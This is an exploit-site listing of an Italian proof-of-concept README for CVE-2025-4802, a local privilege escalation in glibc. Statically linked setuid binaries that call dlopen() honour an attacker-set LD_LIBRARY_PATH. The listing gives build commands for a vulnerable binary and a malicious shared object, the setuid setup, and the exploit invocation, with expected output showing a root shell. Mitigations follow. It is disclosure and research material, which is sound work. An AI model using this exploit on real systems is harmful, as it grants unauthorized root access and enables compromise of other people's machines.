Sploitus

Exploit for CVE-2025-4802-Proof-of-Concept

kitploit · 2026-08-29

Exploit Code

MARKDOWN150 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BETIM-HODZA-CVE-2025-4802-PROOF-OF-CONCEPT
# CVE-2025-4802 — Prova di Concetto

> **⚠️ Avvertenza:** Questo repository è esclusivamente per **scopi educativi e di ricerca sulla sicurezza autorizzati.** Non utilizzare questo exploit su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. L'uso improprio potrebbe violare leggi e regolamenti.

## Riepilogo CVE

Campo| Dettagli  
---|---  
**ID CVE**| CVE-2025-4802  
**Software interessato**|  GNU C Library (glibc)  
**Versioni interessate**|  2.27 – 2.38  
**Tipo di vulnerabilità**|  Escalation dei privilegi tramite `LD_LIBRARY_PATH` non fidato  
**Vettore di attacco**|  Locale  
  
## Descrizione

Una vulnerabilità nella GNU C Library (glibc) versioni da 2.27 a 2.38 consente a un utente malintenzionato di sfruttare la variabile d'ambiente `LD_LIBRARY_PATH` in **binari setuid compilati staticamente** che chiamano `dlopen()`.

Normalmente, il linker dinamico sanifica `LD_LIBRARY_PATH` per i programmi setuid. Tuttavia, i binari compilati staticamente bypassano completamente il linker dinamico, quindi `LD_LIBRARY_PATH` **non viene mai cancellato**. Quando un tale binario chiama `dlopen()` (direttamente, o indirettamente tramite `setlocale()` o funzioni NSS come `getaddrinfo()`), glibc risolve le librerie condivise usando il `LD_LIBRARY_PATH` controllato dall'attaccante, consentendo l'esecuzione di codice arbitrario con privilegi elevati.

## Come funziona

  1. Un binario setuid-root **compilato staticamente** chiama `dlopen("myso.so", ...)` per caricare un oggetto condiviso per nome (non un percorso assoluto).
  2. Poiché il binario è collegato staticamente, il linker dinamico (`ld-linux.so`) non viene mai eseguito, quindi `LD_LIBRARY_PATH` **non è sanificato**.
  3. Un attaccante crea un **oggetto condiviso malevolo** (`myso.so`) che esporta lo stesso simbolo `hello()` ma genera una shell root.
  4. L'attaccante imposta `LD_LIBRARY_PATH` in modo che punti alla directory contenente la libreria malevola.
  5. Quando il binario setuid viene eseguito, carica la **libreria dell'attaccante** invece di quella legittima, eseguendo codice arbitrario come root.



## Struttura del repository

root@kitploit:~
    
    
    .
    ├── main.c                          # Vulnerable setuid binary source
    ├── myso.c                          # Legitimate shared object (safe)
    ├── evil_library/
    │   └── evilso.c                    # Malicious shared object (spawns root shell)
    ├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
    ├── proof_of_concept_video.mp4      # Video walkthrough
    ├── Makefile                        # Build automation
    └── README.md
    

## Prerequisiti

  * **Sistema operativo:** Fedora 39 (o qualsiasi distribuzione Linux con glibc vulnerabile)
  * **Versione glibc:** 2.27 – 2.38 (controlla con `ldd --version`)
  * **Pacchetti:** `gcc`, `make`
  * **Accesso root** per impostare il bit setuid



## Passaggi di riproduzione

### 1\. Compila tutto

root@kitploit:~
    
    
    make all
    

O manualmente:

root@kitploit:~
    
    
    # Build the legitimate shared object
    gcc -shared -o myso.so -fPIC myso.c
    
    # Build the vulnerable binary (statically linked)
    gcc -static -o main main.c -ldl
    
    # Build the malicious shared object
    gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
    

### 2\. Imposta il bit Setuid (richiede root)

root@kitploit:~
    
    
    sudo chown root:root main
    sudo chmod u+s main
    

### 3\. Esegui normalmente (comportamento sicuro)

root@kitploit:~
    
    
    ./main
    

Output previsto:

root@kitploit:~
    
    
     BEGINNING OF MAIN
    Hello from the safe shared object!
    
     END OF MAIN
    

### 4\. Sfrutta con `LD_LIBRARY_PATH` (comportamento malevolo)

root@kitploit:~
    
    
    LD_LIBRARY_PATH=./evil_library ./main
    

Output previsto:

root@kitploit:~
    
    
     BEGINNING OF MAIN
    I'm evil now
    EXEC TO ROOT SHELL
    # whoami
    root
    

Il binario carica il `myso.so` dell'attaccante dalla directory `evil_library/` invece di quello legittimo, generando una **shell root**.

## Prova di Concetto

![Screenshot della Prova di Concetto](https://assets.kitploit.com/production/public/readmes/15607/521eb0fc9ae8b9b2240d6878589b27fd22aaea89ccbb4927a668f209260ca243.png)

È disponibile anche un video dimostrativo: proof_of_concept_video.mp4

## Mitigazione

  * **Aggiorna glibc** a una versione corretta (> 2.38)
  * **Evita il collegamento statico** per binari setuid che usano `dlopen()`
  * Usa **percorsi assoluti** nelle chiamate `dlopen()` invece di nomi di librerie semplici
  * Abbassa i privilegi **prima** di chiamare `dlopen()`
  * Usa flag di hardening del compilatore/linker ed evita setuid dove possibile



## Risorse

  * NVD — CVE-2025-4802